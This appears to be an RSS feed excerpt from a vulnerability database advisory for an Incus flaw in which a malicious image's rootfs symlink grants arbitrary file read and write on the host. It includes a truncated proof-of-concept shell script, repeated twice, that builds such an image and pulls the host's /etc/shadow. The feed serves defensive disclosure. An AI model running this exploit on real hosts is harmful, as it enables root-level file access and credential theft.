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    <link>https://db.gcve.eu</link>
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    <item>
      <title>CVE-2026-48749 — Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image</title>
      <link>https://db.gcve.eu/vuln/cve-2026-48749</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; lxc incus&lt;/p&gt;
&lt;p&gt;Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes the issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; lxc incus&lt;/p&gt;
&lt;p&gt;Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes the issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/cve-2026-48749</guid>
    </item>
    <item>
      <title>GHSA-2q3f-q5pq-g8wv — Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image</title>
      <link>https://db.gcve.eu/vuln/ghsa-2q3f-q5pq-g8wv</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/lxc/incus/v7/cmd/incusd&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.&lt;/p&gt;
&lt;p&gt;```
metadata.yaml
rootfs/
rootfs -&amp;gt; /
```&lt;/p&gt;
&lt;p&gt;In practice, this allows a malicious actor to access the host&amp;#39;s filesystem with root privileges.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Below, we map the container&amp;#39;s rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host&amp;#39;s `/etc/shadow` file and create a file in `/`.&lt;/p&gt;
&lt;p&gt;```
#!/bin/sh
set -eu&lt;/p&gt;
&lt;p&gt;tmpdir=$(mktemp -d)
cleanup() {
    rm -rf &amp;#34;${tmpdir}&amp;#34;
}
trap cleanup EXIT INT QUIT TERM HUP&lt;/p&gt;
&lt;p&gt;mkdir -p &amp;#34;${tmpdir}/img/rootfs&amp;#34;
cat&amp;lt;&amp;lt;__EOF__&amp;gt;&amp;#34;${tmpdir}/img/metadata.yaml&amp;#34;
architecture: x86_64
creation_date: 1
properties:
  description: PoC rootfs symlink host afrw
__EOF__&lt;/p&gt;
&lt;p&gt;cd &amp;#34;${tmpdir}/img&amp;#34;
tar --owner=0 --group=0 -f- -c * &amp;gt;../afrw-rootfs-symlink.tar&lt;/p&gt;
&lt;p&gt;# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs&lt;/p&gt;
&lt;p&gt;incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink&lt;/p&gt;
&lt;p&gt;# read
incus file pull afrw-rootfs-symlink/etc/shadow &amp;#34;${tmpdir}/shadow&amp;#34;
cat &amp;#34;${tmpdir}/sha…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/lxc/incus/v7/cmd/incusd&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.&lt;/p&gt;
&lt;p&gt;```
metadata.yaml
rootfs/
rootfs -&amp;gt; /
```&lt;/p&gt;
&lt;p&gt;In practice, this allows a malicious actor to access the host&amp;#39;s filesystem with root privileges.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Below, we map the container&amp;#39;s rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host&amp;#39;s `/etc/shadow` file and create a file in `/`.&lt;/p&gt;
&lt;p&gt;```
#!/bin/sh
set -eu&lt;/p&gt;
&lt;p&gt;tmpdir=$(mktemp -d)
cleanup() {
    rm -rf &amp;#34;${tmpdir}&amp;#34;
}
trap cleanup EXIT INT QUIT TERM HUP&lt;/p&gt;
&lt;p&gt;mkdir -p &amp;#34;${tmpdir}/img/rootfs&amp;#34;
cat&amp;lt;&amp;lt;__EOF__&amp;gt;&amp;#34;${tmpdir}/img/metadata.yaml&amp;#34;
architecture: x86_64
creation_date: 1
properties:
  description: PoC rootfs symlink host afrw
__EOF__&lt;/p&gt;
&lt;p&gt;cd &amp;#34;${tmpdir}/img&amp;#34;
tar --owner=0 --group=0 -f- -c * &amp;gt;../afrw-rootfs-symlink.tar&lt;/p&gt;
&lt;p&gt;# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs&lt;/p&gt;
&lt;p&gt;incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink&lt;/p&gt;
&lt;p&gt;# read
incus file pull afrw-rootfs-symlink/etc/shadow &amp;#34;${tmpdir}/shadow&amp;#34;
cat &amp;#34;${tmpdir}/sha…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-2q3f-q5pq-g8wv</guid>
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